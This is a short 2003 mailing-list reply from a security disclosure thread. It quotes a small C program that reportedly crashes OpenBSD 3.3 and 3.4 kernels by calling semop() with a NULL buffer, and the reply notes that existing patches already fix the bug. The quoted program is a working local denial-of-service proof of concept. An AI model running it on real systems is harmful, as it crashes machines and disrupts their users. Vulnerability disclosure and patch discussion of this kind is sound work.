<<< Date Index >>>     <<< Thread Index >>>

Re: yet another panic() in OpenBSD



On Fri, Nov 21, 2003 at 05:46:01PM -0500, noir@xxxxxxxxxxxxx wrote:
> a project lacking the basic QA and unit testing and here is the outcome:
> 
> #include <stdio.h>
> #include <sys/types.h>
> #include <sys/sem.h>
> #include <sys/ipc.h>
> 
> int
> main()
> {
>     int i;
> 
>         for(i = 0; i < 0x40; i++)
>                 semop(i, (struct sembuf *) NULL, 0);
> 
> }
> 
> 
> PANIC in OpenBSD 3.3 and 3.4 is confirmed.

please note that patch 008 for OpenBSD 3.4 / 013 for OpenBSD 3.3 fixes 
that issue.
This patch was out _before_ the above post.

It's not really hard to look at the patch and post to fd and bugtraq
afterwards...

-- 
Henning Brauer, BS Web Services, http://bsws.de
hb@xxxxxxx - henning@xxxxxxxxxxx
Unix is very simple, but it takes a genius to understand the simplicity.
(Dennis Ritchie)